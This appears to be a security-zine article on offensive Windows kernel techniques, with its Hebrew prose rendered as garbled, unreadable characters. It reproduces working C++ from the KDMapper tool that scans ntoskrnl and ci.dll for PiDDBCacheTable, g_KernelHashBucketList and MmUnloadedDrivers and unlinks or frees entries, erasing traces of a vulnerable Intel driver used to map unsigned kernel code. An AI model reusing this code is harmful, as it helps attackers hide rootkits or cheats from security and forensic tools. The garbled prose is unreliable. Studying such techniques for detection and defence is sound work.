TimeDateStampΥ ˢˢˤˬ ˡ˥ˣ˧ˬ ˪˷ sπDriver ˪ˣ˩˧˷ ˶ˣˤ˰˪ ˣˮ˪ ˸ˣˢˤ˪ ˣ˸ˣ˞ ˢˬ˧˷˶˟ ˧˪˟ ˸ˣ˯˯˟˸ˢ ˪˰ 

˫˷ˢ Φ˭˸˧ˮ ˞ˣ˴ˬ˪ ˟πNT headersΦ 

ˣˬ˩ ˪˩ ˢˬ˧˷˶ ˸˧ˬ˧ˮ˲ ˪ˮ˶˵˟ ˪˷ Windows ˸˯˯ˣ˟ˬ˷ ˪˰ LIST_ENTRYΣ ˶˟ˡˢ ˡ˧˥˧ˢ ˷˪˰ˣ˲˟ ˨˧˶˴ 

˸ˣ˷˰˪ ˢ˞˟˥ˢ˪ ˢˤ Unlink ˪˷ ˢˬˣ˷˶ˢ ˣˮ˪˷ ˧ˡ˩ ˞˧ˢ˷ ˞˪ ˢ˧ˢ˸ ˸ˡ˰ˣ˸ˬ ˢˬ˧˷˶˟Φ 

˨˧˪ˢ˸ ˢ˞˟˥ˢˢ ˡ˟ˣ˰ ˧˲˪ ˢ˰˟˶˞ ˫˧˟˪˷ ˫˧˧ˤ˩˶ˬΥ 

мό ˸˞˧˴ˬ ˯˧˯˟ˢ ˪˷ ˢ˪˟˦ˢ Υ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˸˶ˤ˰˟ pattern scanning ˪˰ sπPAGE section ˪ˮ˶˵˟ Φ

PAGE ˞ˣˢ section ˦ˬ˶ˣ˲˟ PE ˪˷ ˰ˡ˧ˬ ˡˣ˵ˣ ˞ˣˢ˷ pageable Σ˶ˬˣ˪˩ ˭˸˧ˮ ˞˧˴ˣˢ˪ ˣ˸ˣ˞ ˭ˣ˶˩ˤˢˬ 

˵˯˧ˡ˪ ˥˧˷˵ ˢ˶˵ˬ˟ ˪˷ ˶ˣ˯˥ˬ ύ˭˩˪ ˷˧ x˟ ˷ˣˬ˧˷ ˟˥˶ ˸ˣˮ˩ˣ˸˟ ˸ˣ˧˪ˮ˶˵ Φόπspatterns ˫˸˧˞˷ ˵ˣ˶˯ˮ 

˸˞ ˪ˮ˶˵ˢ ˣ˧ˢ˧ references ˫˧˰ˣˡ˧ ˫˧˰ˣ˟˵ˣ ˢˮ˟ˬ˪ ˨˩ ˪˩ˣˮ˷ ˞ˣ˴ˬ˪ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ ˢˮ˟ˬˢ ˭ˣ˶˩ˤ˟ 

˨˶ˣ˞˪ˣ ˶ˬ˞ˬˢ ˧ˮ˞˷˩ ˷ˬ˸˷˞ ˥ˮˣˬ˟ pattern scanning ˪˰ ˸ˮ˩ˣ˸ ˸˩˶˰ˬ x˞ Driver Υ˞˧ˢ ˰˴ˣ˟˸ ˪˰ 

πsPAGE sectionΦ 

https://digitalwhisper.co.il/files/Zines/0xA2/DW162-2-OffensiveWinKernel.pdf
https://digitalwhisper.co.il/files/Zines/0xA2/DW162-2-OffensiveWinKernel.pdf
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нό ˸ˠ˷ˢ ˪ˣ˰ˮˬˢ ˧ˣˮ˧˷˪ ˷ˣ˲˧˥ˣ ˢˬ˧˷˶ˢ Υ˧ˡ˩ ˷˲˥˪ ˸˞ ˢˬˣ˷˶ˢ ˣˮ˪˷ ˢˬ˧˷˶˟ ˞˧˟˥ˢ˪ˣ ˢ˸ˣ˞ ˨˶˦˴ˮ 

ˠ˧˷ˢ˪ ˢ˷˧ˠ ˢˬ˧˷˶˪ ˸˶ˤ˰˟ sπPiDDBCacheLock Φ˸˞ ˸˟ˣ˸˩ˢ ˣ˪˷ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˫ˠ ˸˶ˤ˰˟ pattern 

scanning ˣˬ˩ ˢ˷˰ˮ˷ ˟πKDMapper ˧ˡ˩ˣ ˪ˣ˰ˮ˪ ˣ˸ˣ˞ ˷ˬ˸˷ˮ ˟πExAcquireResourceExclusiveLite  

оό ˸˞˧˴ˬ ˢˬˣ˷˶ˢ ˣˮ˪˷ ˢˮ˟ˬ˟ Υˢˮ˟ˬˢ ˪˷ PiDDBCacheTable ˶ˡˠˣˬ ˩πRTL_AVL_TABLE Φˢˮ˟ˬ ˢˤ 

˷ˬˣ˷ˬ ˢ˟˶ˢ ˭ˣ˯˥˞˪ ˸ˣ˞˪˟˦ ˸ˣ˧ˬ˧ˮ˲ ˭˩˪ˣ ˷˧ ˫ˠ ˢ˩˧ˬ˸ ˢ˟˶ ˧ˣˮ˧˷˟ ˷ˣ˲˧˥ˣ ˢˮ˟ˬ˟ ˢ˶ˣ˴˟ ˢ˥ˣˮ 

˶˸ˣ˧ Σ˞ˬˠˣˡ˪ ˸˶ˤ˰˟ RtlLookupElementGenericTableAvl ˸˪˟˵ˬ˷ ˵˸˰ˢ ˪˷ entry ˣ˸ˣ˞˷ ˣˮ˥ˮ˞ 

˫˧˷˲˥ˬ ˢ˪˟˦˟ ˢ˶˧ˤ˥ˬˣ ˸˞ ˸˟ˣ˸˩ˢ ˭ˣ˶˩ˤ˟ ˪˷ ˢˬˣ˷˶ˢ 

пό ˢ˞˟˥ˢˢ ˢˬ˴˰ Υ˸˶ˤ˰˟ ˸˟ˣ˸˩ˢ ˪˷ ˢˬˣ˷˶ˢ ˣˮ˪˷ ˸˶ˤ˰˟ˣ sπDriver ˧˸˷˪ˣ˥ˢ ˪˩ˣˮ ˞ˣ˶˵˪ ˸˞ 

˭ˣ˶˩ˤˢ ˪˷ sπLIST_ENTRYπ˫˧ ˫˧˧˦ˮˣˣ˪˶ˢ ˢˬ˧˷˶˟ Σ˪˩ˣˮˣ ˸ˣ˷˰˪ ˸˞ ˨˧˪ˢ˸ sπUnlink ˟˸˶ˤ˰ ˢ˟˧˸˩ Φ

˪˪ˠ˟ ˢ˶ˣ˴ˢ ˢ˟˷ ˢˮ˟ˬ AVL ˧ˣˮ˟ ˨˶˦˴ˮ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˰˲˟ ˸˲˯ˣˮ ˧ˡ˩ ˵ˣ˥ˬ˪ ˸˧˲ˣ˯ ˸˞ ˢˬˣ˷˶ˢ π 

RtlDeleteElementGenericTableAvl ˸˪˟˵ˬ˷ ˸˞ ˢˬ˧˷˶ˢ ˸˞ˣ ˢˬˣ˷˶ˢ ˸˧˦ˮˣˣ˪˶ˢ ˢ˵˧˥ˬ˪ Φ

˱ˣ˯˟˪ ˢ˴˶ˮ ˡ˧˶ˣˢ˪ ˸˞ ˢˮˣˬˢ ˪˷ ˸ˣˬ˩ sπentries ˣ˵˥ˬˮ˷ ˢˬ˧˷˶˟ ύDeletedCount Σ˞˴ˬˮ ˨˶˰˩ 

˨ˣ˸˟ ˢˮ˟ˬˢ RTL_AVL_TREE ό˭˟ˣˬ˩ˣ ˶˶˥˷ˮ˷ ˸˞ ˪ˣ˰ˮˬˢ ˧ˣˮ˧˷˪ ˢˬ˧˷˶ˢ 

ύExReleaseResourceLite Φό˱˧˯ˣ˞ ˶ˣ˷˧˵ ˱ˣ˯˟ ˶ˬ˞ˬˢ ˣ˟˷ ˭˸˧ˮ ˡˣˬ˪˪ ˡˣ˰ ˪˰ AVL TREES ˟π

Windows 

˪˩ ˨˧˪ˢ˸ˢ ˢ˞˶ˮ ˨˩ ˡˣ˵˟ ˪˷ KDMapperΥ 

bool intel_driver: : ClearPiDDBCacheTable ( HANDLE device_handle) {  // PiDDBCacheTable added on LoadDriver  
 
    PiDDBLockPtr =  FindPat ternInSectionAtKernel (device_handle, "PAGE",  intel_driver::ntoskrnlAddr, 
( PUCHAR) " \ x8B\ xD8\ x85\ xC0\ x0F\ x88 \ . ... \ x4C\ x8B\ x00\ x24" , "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x" ); //  8B 
D8 85 C0  0F 88 ? ?  ? ? 65 48 8B 04 25 ? ?  ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ?  E8 ? ? ? ? 4C 8B ? 24 
update for build 22000.132  
    PiDDBCacheTablePtr = F indPatternInSectionAtKernel (device_handle, "PAGE", intel_dr iver::ntoskrnlAddr, 
( PUCHAR) " \ x66\ x03\ xD2\ x48\ x8D\ x0D" , "xxxxxx" ); / / 66 03 D2 48 8D 0D  
 
    if (PiDDBLockPtr == NULL) { / / PiDDBLock pat tern changes a lot from version 1607 of windows and we will need 
a second pattern i f we want to keep simple as posible  
        PiDDBLockPtr = FindPatternInSectionA tKernel (dev ice_handle, "PAGE", intel_driver::ntoskrnlAddr, 
( PUCHAR) " \ x48\ x8B\ x0D\ x00\ . .. \ x00 \ x00\ x00 \ x00\ xE8\ x00\ x00\ x00\ x00\ xE8" , "xxx????xxxxx????xxx????x????x" ); //  48 
8B 0D ? ? ?  ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 bu ild 22449+ (pat tern can be improved but 
just fine for now)  
        if (PiDDBLockPtr == NULL)  {  
            Log( L" [ - ] Warn ing PiDDBLock not found" << s td::endl );  
            return  false ;  
        }  
        Log( L"[+] PiDDBLock found with second pattern" << std::endl);  
        PiDDBLockPtr += 16; //second pattern offset  
    }  
    else {  
        PiDDBLockPtr += 28; //first pattern offset  
    }  
 
    if (PiDDBCacheTablePtr  == NULL) {  
        Log( L"[ - ] Warning PiDDBCacheTable  not found" << std::endl);  
        return false ;  
    }  
 
    Log( "[+ ] PiDDBLock Ptr  0x" << std::hex << PiDDBLockPtr << s td::end l);  
    Log( "[+ ] PiDDBCacheTable Ptr 0x" << s td::hex << PiDDBCacheTablePtr  << std: :endl);  
 
    PVOID PiDDBLock = Reso lveRela tiveAddress (dev ice_handle, ( PVOID)PiDDBLockPt r, 3, 7);  
    PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress (device_handle, 
( PVOID)PiDDBCacheTablePtr,  6, 10) ;  
 
    //context part  is not used by  lookup,  lock or delete why we should  use it?  
 
    if (! ExAcquireResourceExclusiveLite (device_handle,  PiDDBLock, true )) {  
        Log( L"[ - ] Can't lock PiDDBCacheTable" << std::endl);  
        return false ;  
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    }  
    Log( L"[+] PiDDBLock Locked" << std::endl);  
 
    auto n = GetDr iverNameW();  
 
    // search our entry in  the table  
    PiDDBCacheEntry* pFoundEn try = (PiDDBCacheEntry*) LookupEntry (device_handle , PiDDBCacheTable, 
iqvw64e_timestamp,  n. c_str ());  
    if (pFoundEntry == nul lptr) {  
        Log( L"[ - ] Not found in cache" << std::endl);  
        ExReleaseResourceL ite (dev ice_handle, PiDDBLock) ;  
        retur n false ;  
    }  
 
    // firs t, unlink from the lis t  
    PLIST_ENTRY prev;  
    if (! ReadMemory(device_handle , ( uintp tr_t )pFoundEnt ry + ( of fsetof ( struct _PiDDBCacheEntry , List.Blink)),  
&prev, sizeof (_LIST_ENTRY*))) {  
        Log( L"[ - ] Can't ge t prev entry" << std::endl);  
        ExReleaseResourceL ite (dev ice_handle, PiDDBLock) ;  
        return false ;  
    }  
    PLIST_ENTRY next;  
    if (! ReadMemory(device_handle , ( uintp tr_t )pFoundEnt ry + ( of fsetof ( struct _PiDDBCacheEntry , List.Flink)),  
&next, sizeof (_LIST_ENTRY*))) {  
        Log( L"[ - ] Can't ge t next entry" << std::endl);  
        ExReleaseResourceL ite (dev ice_handle, PiDDBLock) ;  
        return false ;  
    }  
 
    Log( "[+ ] Found Table Entry = 0x" << s td::hex << pFoundEntry  << std ::endl);  
 
    if (! Wr iteMemory (device_ha ndle, ( uintptr_t )prev + ( offsetof ( struct  _LIST_ENTRY, F link)), &next, 
sizeof (_LIST_ENTRY*))) {  
        Log( L"[ - ] Can't se t next entry" << std::endl);  
        ExReleaseResourceL ite (dev ice_handle, PiDDBLock) ;  
        return false ;  
    }  
    if (! Wr iteMemory ( device_handle, ( uintptr_t )next + ( offsetof ( struct  _LIST_ENTRY, B link)), &prev, 
sizeof (_LIST_ENTRY*))) {  
        Log( L"[ - ] Can't se t prev entry" << std::endl);  
        ExReleaseResourceL ite (dev ice_handle, PiDDBLock) ;  
        return false ;  
    }  
 
    // then  delete  the element from the avl table  
    if (! Rt lDeleteElementGenericTableAvl (device_handle,  PiDDBCacheTable, pFoundEntry) ) {  
        Log( L"[ - ] Can't de lete from PiDDBCacheTable" << std::endl);  
        ExReleaseResourceL ite (dev ice_handle, PiDDBLock) ;  
        return false ;  
    }  
 
    //Decrement de lete count  
    ULONG cacheDeleteCount  = 0;  
    ReadMemory(dev ice_handle, ( uintptr_t )PiDDBCacheTable + ( offsetof ( struct _RTL_AVL_TABLE, DeleteCount)), 
&cacheDeleteCount,  sizeof ( ULONG)) ;  
    if (cacheDeleteCount >  0) {  
        cacheDeleteCount -- ;  
        Wri teMemory (device_handle , ( uintp tr_t )PiDDBCacheTable +  ( offse tof ( struct _RTL_AVL_TABLE, DeleteCount )), 
&cacheDeleteCount,  sizeof ( ULONG)) ;  
    }  
 
    // release the ddb resource lock  
    ExReleaseResourceLite (device _handle, PiDDBLock);  
 
    Log( L"[+] PiDDBCacheTable Cleaned" << std::endl);  
 
    return true ;  
}  
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HashBucketListΥ 

ˢˬ˧˷˶ xʕ ˞˧ˢ linked list ˢ˪˧ˠ˶ ˸˪˪ˣ˩ˢ ˰ˡ˧ˬ ˪˰ ˪˩ Driver ˭ˣ˰˦˷ ˸˩˶˰ˬ˪ Windows Φˢˬ˧˷˶ xʕ 

˸ˮ˯˩ˣ˞ˬ ˟πPAGE section ˪˷ ˟˧˩˶ ˸˩˶˰ˬˢ ci.dll ύcode integrity module Σˡ˰ˣˮ ˶ˣˬ˷˪ ˪˰ ˸ˣˮ˧ˬ˞ ˰ˡ˧ˬ 

˪ˮ˶˵˟ ˭˩˪ˣ ˭˧˟ ˶˸˧ˢ ˷˧ x˪ ˢˮ˟ˬ ˶˞˸ˬˢ ˸˞ ˸ˣˮ˧ˬ˞ sπkernel modules ˪˰˷ ˸˩˶˰ˬˢ Φόˢˬ˧˷˶ xʕ 

ˢ˪˧˥˸ˬ ˬπentry ˭ˣ˷˞˶ ˭˸˧ˮ˷ ˞ˣ˴ˬ˪ ύ˫ˠ ˭˩ ˫˰ pattern scanning όˢˮ˟ˬˣ ˪˩ ˢˬˣ˷˶ ˢ˞˶ˮ ˨˩Υ 

typedef struct _HashBucketEntry  
{  
    struct  _HashBucketEntry* Next;  
    UNICODE_STRING DriverName;  
    ULONG CertHash[ 5];  
} HashBucketEntry, * PHashBucketEntry ;  

ˢˬ˧˷˶ xʕ ˶˟˰ˬˣ ˢ˧˪˰ ˸˶˦ˬ˪ ˢ˞˟˥ˢ ˢ˟˶ˢ ˶˸ˣ˧ ˦ˣ˷˲ ˣˮ˪Υ 

мό ˷ˬ˸˷ˢ˪ ˸˟ˣ˸˩˟ ˯˧˯˟ˢ ˪˷ ˪ˮ˶˵ˢ ˟xπpattern ˰ˣ˟˵ ˰ˣˡ˧ˣ ˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˪˷ sπ

entry ˭ˣ˷˞˶ˢ ˸˞ˣ ˸˟ˣ˸˩ˢ ˪˷ ˪ˣ˰ˮˬˢ ˪˷ ˢˬ˧˷˶ˢ ύˣˬ˩ ˟πPiDDBCacheTableόΦ 

нό ˵ˣˡ˟ˮ ˫˞ ˫˷ˢ ˪˷ sπDriver ˧˥˩ˣˮˢ ˢˢˤ ˫˷˪ ˪˷ sπDriver ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˞˧˟˥ˢ˪ ύ˨˧˶˴ ˸ˣ˷˰˪ ˸˞ˤ 

ˢˬ˩˟ ˫˧˟˪˷ π ˸ˠ˷ˢ ˨˶ˣ˞ ˫˷ˢ Σ˸ˠ˷ˢ ˰˧˟˴ˬˢ ˫˷˪ ˧ˬ˧ˮ˲ˢ ˣˬ˴˰ ˟πkernel mode ˢ˞˧˶˵ˣ ˪˷ 

˫˷ˢ Σˢ˟˧˯ˢ ˨˩˪ ˞˧ˢ ˫˷ˢ˷ ˞˴ˬˮ ˟πkernel mode ˣˮ˥ˮ˞ˣ ˞˪ ˫˧˰ˡˣ˧ ˸˞ ˣ˩˶ˣ˞ Φό˫˞ ˭˩ Υ˟ˣ˸˩ˮ ˨˶˰˪ 

ˢˬˣ˷˶˟ ˸ˬˡˣ˵ˢ ˪˧˩ˬ˷ ˸˞ ˰˧˟˴ˬˢ ˢˬˣ˷˶˪ ˢ˞˟ˢ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ ˢˬˣ˷˶ˢ ˢ˞˟ˢ ˪˷ ˢˬˣ˷˶ˢ 

ˣˮ˪˷ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˞˧˟˥ˢ˪ ˶˶˥˷ˮˣ ˸˞ ˶ˣˤ˧˞ ˭ˣ˶˩ˤˢ ˪˷ ˢˬˣ˷˶ˢ ύ˪˩ ˢˬˣ˷˶ ˸˧˴˵ˣˬ ˸˩˧˶˟˩ ˭ˣ˶˩ˤ 

˸˧˪ˮ˶˵όΦ 

оό ˫˞ ˢˬˣ˷˶ˢ ˞˧ˢ ˞˪ ˢˬˣ˷˶ˢ ˣˮ˪˷ ˞˶˵ˮ ˸˞ у ˫˧˸˟ˢ ˫˧ˮˣ˷˞˶ˢ ˢˬˣ˷˶ˢˬ ˸˧˥˩ˣˮˢ ˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ 

˰˧˟˴ˬˢ ˢˬˣ˷˶˪ ˢ˞˟ˢ Φˢˬ˧˷˶ˢ ˸ˬ˧˧˸˯ˬ ˰˧˟˴ˬ˟ ˞ˣˢ˷ NULL ˨˩ ˪˩ˣˮ˷ ˸˰ˡ˪ ˸˞ ˱ˣ˯ ˢˬ˧˷˶ˢ 

˶ˣ˟˰ ˢ˧˴˶˦˧˞ˢ. 

ˡˣ˵ˢ ˪˷ ˢ˞˟˥ˢˢ ˢ˞˶ˮ ˨˩Υ 

const auto g_KernelHashBucketList = ResolveRelativeAddress (device_handl e, ( PVOID)sig, 3, 7);  
const auto g_HashCacheLock = ResolveRelativeAddress (device_handle, ( PVOID)sig2, 3, 7);  
if (!g_KernelHashBucketList || !g_HashCacheLock)  
{  
    Log( L"[ - ] Can't Find g_HashCache relative address" << std::endl);  
    return false ;  
}  
Log( L" [+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);  
if (! ExAcquireResourceExclusiveLite (device_handle, g_HashCacheLock, true )) {  
    Log( L"[ - ] Can't lock g_HashCacheLock" << std::endl);  
    return false ;  
}  
Log( L"[+] g_ HashCacheLock Locked" << std::endl);  
HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList;  
HashBucketEntry* entry = 0;  
if (! ReadMemory(device_handle, ( uintptr_t )prev, &entry, sizeof (entry))) {  
    Log( L"[ - ] Failed to read first g_KernelHashBuck etList entry!" << std::endl);  
    if (! ExReleaseResourceLite (device_handle, g_HashCacheLock)) {  
        Log( L"[ - ] Failed to release g_KernelHashBucketList lock!" << std::endl);  
    }  
    return false ;  
}  
if (!entry) {  
    Log( L"[!] g_KernelHashBucketList lo oks empty!" << std::endl);  
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˭˩ˣ˸ ˸˞˪ˣ˪ ˷ˣ˲˧˥ˢ ˪˷ sπentry ˫˧˞˸ˬˢ ύ˧˶˥˞ ˢ˞˧˶˵ˢ ˪˷ ˨˶ˣ˞ ˫˷ˢ ˸ˠ˷ˢˣ ˰˧˟˴ˬˢ ˫˷˪ ˟π

kernelspaceΥό 

if (! ReadMemory(device_handle, ( uintptr_t )wsNamePtr, wsName. get (), wsNameLen)) {  
   Log( L"[ - ] Failed to read g_KernelHashBucketList ent ry text!" << std::endl);  
   if (! ExReleaseResourceLite (device_handle, g_HashCacheLock)) {  
      Log( L"[ - ] Failed to release g_KernelHashBucketList lock!" << std::endl);  
   }  
   return false ;  
}  
 
size_t find_result = std:: wstring (wsName.get ()). find (wdname);  
if (find_result != std::wstring::npos) {  
   Log( L"[+] Found In g_KernelHashBucketList: " << std:: wstring (&wsName[find_result] ) << std::endl) ;  

   HashBucketEntry* Next = 0;  
   if (! ReadMemory(device_handle, ( uintptr_t )entry, &Next, sizeof (Next))) {  
      Log( L"[ - ] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl);  
      if (! ExReleaseResourceLite (device_handle, g_HashCacheLock)) {  
         Log( L"[ - ] Failed to release g_KernelHashBucketList lock!" << std::endl);  
      }  
      return false ;  
   }  
   if (! WriteMemory(device_handle, ( uintptr_t )prev, &Next, sizeof (Next))) {  
      Log( L"[ - ] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl);  
      if (! ExReleaseResourceLite (device_handle, g_HashCacheLock)) {  
         Log( L"[ - ] F ailed to release g_KernelHashBucketList lock!" << std::endl);  
      }  
      return false ;  
   }  
   if (! FreePool (device_handle, ( uintptr_t )entry)) {  
      Log( L"[ - ] Failed to clear g_KernelHashBucketList entry pool!" << std::endl);  
      if (! ExReleaseResourceLite (device_handle, g_HashCacheLock)) {  
         Log( L"[ - ] Failed to release g_KernelHashBucketList lock!" << std::endl);  
      }  
      return false ;  
   }  
   Log( L"[+] g_KernelHashBucketList Cleaned" << std::endl);  
   if (! ExReleaseResourceLite (device_h andle, g_HashCacheLock)) {  
      Log( L"[ - ] Failed to release g_KernelHashBucketList lock!" << std::endl);  
      if (! ExReleaseResourceLite (device_handle, g_HashCacheLock)) {  
         Log( L"[ - ] Failed to release g_KernelHashBucketList lock!" << std::endl);  
      }  
      return false ;  
   }  
   return true ;  
}  

 

MmUnloadedDriversΥ 
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˧˲˩ ˶ˬ˞ˬˢ˷ ˢ˪˰ˬ˪ ˶˧˟˯ˬ ΥMmUnloadedDrivers ˪˧˩ˬ ˢˬˣ˷˶ ˶ˣ˟˰ ˪˩ Driver ˭˰˦ˣˢ˷ ˸˩˶˰ˬ˟ 

˸˶ˤ˰˟ NtLoadDriver ˢ˰˴ˣ˟ˣ ˣ˧˪˰ ˢ˪ˣ˰˲ ˪˷ unload ύNtUnloadDriverό ˧ˡ˩ ˞˧˴ˣˢ˪ ˣ˸ˣ˞ ˭ˣ˶˩ˤˢˬ Φ˭˸˧ˮ 

˰˧˲˷ˢ˪ ˪˰ ˢˬ˧˷˶ˢ ˢˬ˩˟ ˸ˣ˶ˣ˴ Σˣˮ˥ˮ˞ ˢ˷˰ˮ ˸˞ˤ ˸˶ˤ˰˟ ˢ˪ˣ˰˲ˢ NtQuerySystemInformation Φ

ˢ˪ˣ˰˲ˢ ˣˤˢ ˢ˞˧˟ˬ ˰ˡ˧ˬ ˪˰ ˸˩˶˰ˬˢ ˧˲˪ ˶˦ˬ˶˲ ˪˷ ˠˣ˯ ˰ˡ˧ˬˢ ˷ˣ˶ˡ˷ Φ˞ˬˠˣˡ˟ ˣ˶˥˟ ˷ˬ˸˷ˢ˪ 

˶˦ˬ˶˲˟ SystemExtendedHandleInformation ˶˧ˤ˥ˬ˷ ˸˞ ˢˮ˟ˬˢ ˞˟ˢ ˶ˣ˟˰ ˢˬ˧˷˶ˢΥ 

typedef struct _SYSTEM_HANDLE_INFORMATION_EX 
{  
   ULONG_PTR HandleCount;  
   ULONG_PTR Reserved;  
   SYSTEM_HANDLE Handles[1];  
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;  

ˢˮ˟ˬˬ ˢˤ ˭˸˧ˮ ˰˧ˠˢ˪ ˢˬˣ˷˶˪ ˪˷ ˪˩ Driver π ˢˮ˟ˬˢ SYSTEM_HANDLEΥ 

typedef struct _SYSTEM_HANDLE 
{  
   PVOID Object;  
   HANDLE UniqueProcessId;  
   HANDLE HandleValue;  
   ULONG GrantedAccess;  
   USHORT CreatorBackTraceIndex;  
   USHORT ObjectTypeIndex;  
   ULONG HandleAttributes;  
   ULONG Reserved;  
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;  

˧˲˪ ˶˲˯ˬˢ ˪˷ sπUnloaded Drivers ύHandleCount ό˪˩ˣˮ ˶ˣ˟˰˪ ˪˰ ˢˬ˧˷˶ˢ ˸ˣˣ˷ˢ˪ˣ ˸˞ HandleValue 

ύ˨˶˰ sπhandle ˥ˣ˸˲ˢ ˪πsystem module ˫˧ˣ˯ˬ όπ˪handle ˥ˣ˸˲ˢ ˣˮ˪˷ ˪πDriver Φ˨˩ ˞˴ˬˮ ˸˞ ˢˬˣ˷˶ˢ 

ˢˬ˧˞˸ˬˢ ˪πDriver ˣˮ˪˷ ύ˷˧ ˫ˠ ˢˡ˷ UniqueProcessId ˪˧˩ˬ˷ ˸˞ sπPID ˪˷ ˨˧˪ˢ˸ˢ ˥˸˲˷ ˸˞ sπ

handle Σ˨˩ ˷˧˷ ˡˣ˰ ˨˶ˡ ˸ˬ˞˪ ˡˠˮ˩ sπPID ˣˮ˪˷Φό 

ˢ˲ ˪˧˥˸ˬ ˵˪˥ˢ ˭˧˧ˮ˰ˬˢ ˪˷ ˢ˞˟˥ˢˢ Υˢˡ˷ˢ Object ˢˬˣ˷˶˟ ˰˧˟˴ˬ ˢˮ˟ˬ˪ ˞˪ ˡ˰ˣ˸ˬ Σ˸˶ˤ˰˟˷ 

ˢ˯ˡˮˢ ˶ˣ˥˞˪ ˪˷ sπDriver ˰ˣˡ˧ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˦˯˲ˣ˞˟˷ ˪˷ у ˫˧˸˟ ˸˪˧˥˸ˬ ˢˮ˟ˬˢ ˷˧ ˰˧˟˴ˬ ˪π

DEVICE_OBJECT ˪˷ sπDriver ύ˫˴˰ ˢˤ ˷ˬ˷ˬ ˸˶ˣ˷˵˸˪ ˫˰ sπDriverό: 
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˧ˮ˲˪ ˨˧˷ˬˮ˷ Σ˫˩˯˞ ˸˞ ˵˪˥ˢ ˢˤˢ ˡ˰ ˣ˧˷˩˰ ˰˦˵˟ ˡˣ˵ ˶˴˵Υ 

auto system_handle _inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);  
 
for ( auto i = 0u; i < system_handle_inforamtion - >HandleCount; ++i)  
{  
    const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion - >Handles[i];  
    if (current_system_h andle.UniqueProcessId != 
reinterpret_cast< HANDLE>(static_cast< uint64_t >( GetCurrentProcessId ())))  
        continue ;  
    if (current_system_handle.HandleValue == device_handle)  
    {  
        object = reinterpret_cast< uint64_t >(current_system_handle.Object);  
        break ;  
    }  
}  
 

VirtualFree (buffer, 0, MEM_RELEASE); 
if (!object)  
    return false ;  
uint64_t device_object = 0;  
if (! ReadMemory(device_handle, object + 0x8, &device_object, sizeof (device_object)) || 
!device_object) {  
    Log( L"[!] Failed to find de vice_object" << std::endl);  
    return false ;  
}  
uint64_t driver_object = 0;  
if (! ReadMemory(device_handle, device_object + 0x8, &driver_object, 
sizeof (driver_object)) || !driver_object) {  
    Log( L"[!] Failed to find driver_object" << std::endl);  
    retur n false ;  
}  

˫˰ ˰˧˟˴ˬˢ ˪πDEVICE_OBJECT ˪˩ˣˮ ˰˧ˠˢ˪ ˫˴˰˪ ˧ˤ˩˶ˬˢ ˪˷ sπDriver π DRIVER_OBJECT Φˢˮ˟ˬ sπ

DRIVER_OBJECT ˢ˞˶ˮ ˨˩Υ 

 

ˢ˟˧˯ˢ ˢ˪˪ˠ˟˷ ˣˮ˥ˮ˞ ˫˧˷˲˥ˬ ˷ˬ˸˷ˢ˪ ˢˮ˟ˬ˟ ˢˤˢ ˞˧ˢ ˪˧˟˷˟ ˨˶˰ˢ DriverSection π ˨˶˰ ˢˤ Σˣˬ˩ 

˫˧˩˶˰ˢ ˫˧ˬˡˣ˵ˢ Σˡ˰ˣˮ ˫ˡ˵˪ ˣˮ˸ˣ˞ ˡˣ˰ ˡ˰˴ ˭ˣˣ˧˩˪ ˬˢˢ˶˦ Φˢ˶˵ˬ˟ ˢˤ ˨˶˰ˢ DriverSection ˞ˣˢ ˢˮ˟ˬ 

˯ˣ˲˧˦ˬ LDR_DATA_TABLE_ENTRY Σˢˮ˟ˬ ˢˤ ˞˪ ˡ˰ˣ˸ˬ ˪˰ ˧ˡ˧ Windows ˨˞ ˸˶ˤ˰˟ ˫˧˶˸˞ ˣˬ˩ 

geoffchappell.com ύ˧˸˶˷˧˵ ˢ˦ˬ˪ ό˭˸˧ˮ ˸ˣ˞˶˪ ˦˯˲ˣ˞˟ 0x58 ˸˞ ˨˶˰ˢ BaseDllName Υπs

UNICODE_STRING ˡ˰ˣ˸ˬˢ ˷ˬˣ˷ˬˣ ˪ˮ˶˵˟ ˪˷ sπDriver ˭˰˦ˣˢ˷Φ 
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˩˸˰ ˭˸˧ˮ ˪ˣ˞˷˪ ˢ˪˞˷ ˸˧ˮˣ˧ˠˢ ˡˣ˞ˬ Υ˷˧ ˣˮ˪ ˸˞ ˫˷ˢ ˪˷ ˶˟˧˧˶ˡˢ ˡˣ˰ ˢ˪˥˸ˢˢˬ Σˤ˞ ˢˬ˪ ˣˮ˧˷˰ ˸˞ ˪˩ 

˨˧˪ˢ˸ˢ ˢˤˢ Κˤ˞ ˣˢˤ Σˢˤ˷ ˞˪ ˫˸˯ Σˢˤ ˞ˣˢ ˫˷ ˵ˡ˟ˮ˷ ˫˧˰˴˟ˬ˷˩ Unload ˪πDriver ˢ˪ˣ˰˲˟ ˸˧ˬ˧ˮ˲ˢ 

MiRememberUnloadedDriver ˸˧˞˶˥˞˷ ˶ˣˬ˷˪ ˸˞ ˰ˡ˧ˬˢ ˪˰ sπDriver ˟πMmUnloadedDrivers Φ

